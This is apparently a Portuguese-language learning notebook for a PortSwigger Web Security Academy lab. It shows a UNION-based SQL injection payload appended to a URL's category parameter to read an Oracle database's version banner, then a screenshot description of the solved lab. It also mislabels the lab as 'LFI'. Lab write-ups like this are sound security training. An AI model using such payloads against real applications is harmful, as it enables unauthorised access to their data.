



NOTEPAD

SQL INJECTION

[github/danielrodrigues-dv](https://github.com/danielrodrigues-dv)



Resumo

Introdução

O propósito deste documento consiste em registrar todo o processo de aprendizagem. O presente estudo está sendo conduzido em laboratórios controlados, e os recursos estão acessíveis através da plataforma <https://portswigger.net>.

Objetivo

Permitir que o servidor interprete o código inserido na URL

Laboratório

- SQL injection attack, querying the database type and version on Oracle -> **LFI**

Pré-requisitos

- Navegador.

1.ACESSANDO O LABORATÓRIO


Clique na opção "**Access the lab**":


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[Web Security Academy](#) » [SQL injection](#) » [Examining the database](#) » [Lab](#)

Lab: SQL injection attack, querying the database type and version on Oracle


PRACTITIONER

 LAB

 Solved

This lab contains a **SQL injection** vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query.

To solve the lab, display the database version string.

 **Hint**

[Access the lab](#)

2.EXEMPLO DE MANIPULAÇÃO

URL ORIGINAL: <https://0a3e00b504c4bc3982b9accc00cf003d.web-security-academy.net/filter?category=Lifestyle>

Só colocar o 'UNION SELECT BANNER,NULL+FROM v\$version--' no final do código.

URL MODIFICADO: [https://0a3d00310329920ec03bd171001c003a.web-security-academy.net/filter?category=Pets'UNION SELECT BANNER,NULL+FROM v\\$version--](https://0a3d00310329920ec03bd171001c003a.web-security-academy.net/filter?category=Pets'UNION SELECT BANNER,NULL+FROM v$version--)

RESULTADO - máquina resolvida

The screenshot shows a web browser window with the URL <https://0a3e00b504c4bc3982b9accc00cf003d.web-security-academy.net/filter?category=Lifestyle>. The page displays the Web Security Academy logo and a notification: "SQL injection attack, querying the database type and version on Oracle". A green button labeled "LAB Solved" is visible. Below this, an orange banner reads "Congratulations, you solved the lab!" with links to "Share your skills!" and "Continue learning >". The main content area shows a "WE LIKE TO SHOP" section with a hanger icon and the category "Lifestyle". A search bar at the bottom allows refining the search with filters: "All", "Accessories", "Corporate gifts", "Gifts", "Lifestyle", and "Toys & Games".